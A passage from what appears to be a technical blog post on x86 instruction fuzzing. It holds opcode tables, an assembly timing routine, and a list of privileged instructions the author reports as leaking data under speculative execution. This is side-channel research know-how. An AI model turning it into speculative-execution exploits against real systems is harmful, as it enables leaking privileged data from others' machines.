&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f7890&lt;/td&gt;
&lt;td class="dec"&gt;&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30f7990&lt;/td&gt;
&lt;td class="dec"&gt;&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30fc789&lt;/td&gt;
&lt;td class="dec"&gt;cmpxchg8b qword ptr [rcx-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;td&gt;95&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30fc78f&lt;/td&gt;
&lt;td class="dec"&gt;cmpxchg8b qword ptr [rdi-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;46&lt;/td&gt;
&lt;td&gt;95&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30fc7b0&lt;/td&gt;
&lt;td class="dec"&gt;vmxon qword ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;116&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30fc733&lt;/td&gt;
&lt;td class="dec"&gt;vmxon qword ptr [rbx]&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;119&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;f30fc776&lt;/td&gt;
&lt;td class="dec"&gt;vmxon qword ptr [rsi-0x70]&lt;/td&gt;
&lt;td&gt;39&lt;/td&gt;
&lt;td&gt;120&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Considering how simplistic the conditions are, not bad right?&lt;/p&gt;
&lt;h2 id="0x3-deduction-of-speculative-behavior"&gt;&lt;span class="hx"&gt;0x3:&lt;/span&gt; Deduction of speculative behavior&lt;/h2&gt;
&lt;p&gt;You might have noticed the &amp;ldquo;Speculation fence&amp;rdquo; indication in the previous data dump. I&amp;rsquo;ve gotten a bit greedy and wanted to also know if the instructions speculatively execute or if they halt the queue for the sake of side-channeling the results so I went ahead and collected another piece of information, which comes from a rather unexpected performance counter:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://i.can.ac/ToW0H.png" alt=""&gt;&lt;/p&gt;
&lt;p&gt;You might be wondering what this has to do with anything. This particular counter is very useful given the fact that we don&amp;rsquo;t do any divisions in our previous code. Why? Because this means adding a division right after the instruction and seeing if the cycles is non-zero will let us know if the speculative execution was halted or not. We achieve this by first squeezing a &lt;code&gt;divps xmm4, xmm5&lt;/code&gt; there right before the &lt;code&gt;#UD&lt;/code&gt;&amp;lsquo;ing &lt;code&gt;0xCE&lt;/code&gt; and finally we waste some cycles at the non-speculative counterpart to cause a stall giving the speculative code more execution time from the execution port. Changing the previous routine code to the following pretty much gives us the perfect setup:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vmovups&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vmovups&lt;/span&gt; &lt;span class="no"&gt;ymm1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vmovups&lt;/span&gt; &lt;span class="no"&gt;ymm2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vmovups&lt;/span&gt; &lt;span class="no"&gt;ymm3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vzeroupper&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;addps&lt;/span&gt; &lt;span class="no"&gt;xmm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;xmm1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;temp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;vaddps&lt;/span&gt; &lt;span class="no"&gt;ymm3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ymm1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;lea&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rip&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;z&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;xchg&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nf"&gt;ret&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;AVX to SSE switch, memory stall, register dependencies, atomicity, this one has it all! Marking the entries that have non-zero counters as &amp;ldquo;speculative friendly&amp;rdquo; essentially lets us know what instructions we can speculatively execute and leak information from, and as you can see in the next example it seems to work pretty nicely.&lt;/p&gt;
&lt;p class="tbl-caption"&gt;These indeed leak data under speculative execution:&lt;/p&gt;
&lt;table class="isa-table"&gt;
&lt;thead&gt;&lt;tr&gt;&lt;th&gt;index&lt;/th&gt;&lt;th&gt;decoding&lt;/th&gt;&lt;th&gt;mits&lt;/th&gt;&lt;th&gt;ms&lt;/th&gt;&lt;th&gt;serializing&lt;/th&gt;&lt;th&gt;speculationFence&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt; &lt;td class="idx"&gt;8690&lt;/td&gt;
&lt;td class="dec"&gt;xchg byte ptr [rax-0x6f6f6f70], dl&lt;/td&gt;
&lt;td&gt;48&lt;/td&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;e090&lt;/td&gt;
&lt;td class="dec"&gt;loopne 0xffffffffffffff92&lt;/td&gt;
&lt;td&gt;56&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;fb&lt;/td&gt;
&lt;td class="dec"&gt;sti&lt;/td&gt;
&lt;td&gt;56&lt;/td&gt;
&lt;td&gt;83&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;fc&lt;/td&gt;
&lt;td class="dec"&gt;cld&lt;/td&gt;
&lt;td&gt;53&lt;/td&gt;
&lt;td&gt;83&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f0080&lt;/td&gt;
&lt;td class="dec"&gt;sldt word ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f0081&lt;/td&gt;
&lt;td class="dec"&gt;sldt word ptr [rcx-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f0088&lt;/td&gt;
&lt;td class="dec"&gt;str word ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f00c0&lt;/td&gt;
&lt;td class="dec"&gt;sldt eax&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;td&gt;85&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f00c8&lt;/td&gt;
&lt;td class="dec"&gt;str eax&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;td&gt;85&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f0009&lt;/td&gt;
&lt;td class="dec"&gt;str word ptr [rcx]&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;td&gt;87&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f0180&lt;/td&gt;
&lt;td class="dec"&gt;sgdt ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;89&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f0188&lt;/td&gt;
&lt;td class="dec"&gt;sidt ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f01a0&lt;/td&gt;
&lt;td class="dec"&gt;smsw word ptr [rax-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;85&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f01a1&lt;/td&gt;
&lt;td class="dec"&gt;smsw word ptr [rcx-0x6f6f6f70]&lt;/td&gt;
&lt;td&gt;47&lt;/td&gt;
&lt;td&gt;85&lt;/td&gt;
&lt;td class="bool-true"&gt;true&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f01d0&lt;/td&gt;
&lt;td class="dec"&gt;xgetbv&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f01d5&lt;/td&gt;
&lt;td class="dec"&gt;xend&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;td&gt;84&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f01e0&lt;/td&gt;
&lt;td class="dec"&gt;smsw eax&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;td&gt;84&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f010f&lt;/td&gt;
&lt;td class="dec"&gt;sidt ptr [rdi]&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f0140&lt;/td&gt;
&lt;td class="dec"&gt;sgdt ptr [rax-0x70]&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;89&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f2098&lt;/td&gt;
&lt;td class="dec"&gt;mov rax, cr3&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;td&gt;88&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f2080&lt;/td&gt;
&lt;td class="dec"&gt;mov rax, cr0&lt;/td&gt;
&lt;td&gt;51&lt;/td&gt;
&lt;td&gt;85&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;td class="bool-false"&gt;false&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt; &lt;td class="idx"&gt;0f31&lt;/td&gt;
&lt;td class="dec"&gt;rdtsc&lt;/td&gt;
